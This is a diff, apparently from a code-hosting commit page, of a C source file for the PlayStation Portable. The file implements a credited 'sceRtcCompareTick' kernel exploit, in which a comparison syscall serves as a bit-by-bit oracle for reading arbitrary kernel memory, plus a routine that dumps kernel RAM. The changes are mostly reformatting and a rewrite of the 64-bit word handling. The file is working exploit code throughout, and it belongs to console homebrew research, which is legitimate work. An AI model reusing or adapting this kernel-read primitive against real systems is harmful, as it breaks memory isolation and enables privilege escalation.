|
| 1 | +#include <time.h> |
1 | 2 | #include <pspsdk.h> |
2 | 3 | #include <psprtc.h> |
| 4 | + |
3 | 5 | /* |
4 | 6 | sceRtcCompareTick kernel exploit by davee, implementation by CelesteBlue |
5 | 7 | */ |
|
8 | 10 | // input: 4-byte-aligned kernel address to a 64-bit integer |
9 | 11 | // return *addr >= value; |
10 | 12 | static int is_ge_u64(uint32_t addr, uint32_t *value) { |
11 | | - return (int)sceRtcCompareTick((uint64_t *)value, (uint64_t *)addr) <= 0; |
| 13 | + return (int)sceRtcCompareTick((uint64_t *)value, (uint64_t *)addr) <= 0; |
12 | 14 | } |
13 | 15 |
|
14 | 16 | // input: 4-byte-aligned kernel address |
15 | 17 | // return *addr |
16 | 18 | uint64_t pspXploitKernelRead64(uint32_t addr) { |
17 | | - uint32_t value[2] = {0, 0}; |
18 | | - uint32_t res[2] = {0, 0}; |
19 | | - int bit_idx = 0; |
20 | | - for (; bit_idx < 32; bit_idx++) { |
21 | | - value[1] = res[1] | (1 << (31 - bit_idx)); |
22 | | - if (is_ge_u64(addr, value)) |
23 | | - res[1] = value[1]; |
24 | | - } |
25 | | - value[1] = res[1]; |
26 | | - bit_idx = 0; |
27 | | - for (; bit_idx < 32; bit_idx++) { |
28 | | - value[0] = res[0] | (1 << (31 - bit_idx)); |
29 | | - if (is_ge_u64(addr, value)) |
30 | | - res[0] = value[0]; |
31 | | - } |
32 | | - return *(uint64_t*)res; |
| 19 | + uint32_t value[2] = {0, 0}; |
| 20 | + uint32_t res[2] = {0, 0}; |
| 21 | + int bit_idx = 0; |
| 22 | + for (; bit_idx < 32; bit_idx++) { |
| 23 | + value[1] = res[1] | (1 << (31 - bit_idx)); |
| 24 | + if (is_ge_u64(addr, value)) { |
| 25 | + res[1] = value[1]; |
| 26 | + } |
| 27 | + } |
| 28 | + value[1] = res[1]; |
| 29 | + bit_idx = 0; |
| 30 | + for (; bit_idx < 32; bit_idx++) { |
| 31 | + value[0] = res[0] | (1 << (31 - bit_idx)); |
| 32 | + if (is_ge_u64(addr, value)) { |
| 33 | + res[0] = value[0]; |
| 34 | + } |
| 35 | + } |
| 36 | + return ((uint64_t)res[1] << 32) | res[0]; |
33 | 37 | } |
34 | 38 |
|
35 | 39 | void pspXploitDumpKernel(u32* dst, u32* src, u32 size) { |
36 | 40 |
|
37 | | - #ifdef DEBUG |
38 | | - pspDebugScreenPrintf("Reading %d bytes of kernel ram @ %p\n", size, src); |
39 | | - #endif |
| 41 | + #ifdef DEBUG |
| 42 | + pspDebugScreenPrintf("Reading %d bytes of kernel ram @ %p\n", size, src); |
| 43 | + #endif |
40 | 44 |
|
41 | | - if ((u32)src+size >= 0x88400000) size = 0x88400000 - (u32)src; |
| 45 | + if ((u32)src+size >= 0x88400000) size = 0x88400000 - (u32)src; |
42 | 46 |
|
43 | 47 | u32 count = 0; |
44 | 48 | while (count < size){ |
45 | 49 | u64 ret = pspXploitKernelRead64((u32)src); |
46 | | - dst[0] = ((uint32_t *)&ret)[1]; |
47 | | - dst[1] = ((uint32_t *)&ret)[0]; |
| 50 | + dst[0] = (uint32_t) ret; |
| 51 | + dst[1] = (uint32_t)(ret >> 32); |
48 | 52 | dst += 2; |
49 | 53 | src += 2; |
50 | 54 | count += 8; |
|
0 commit comments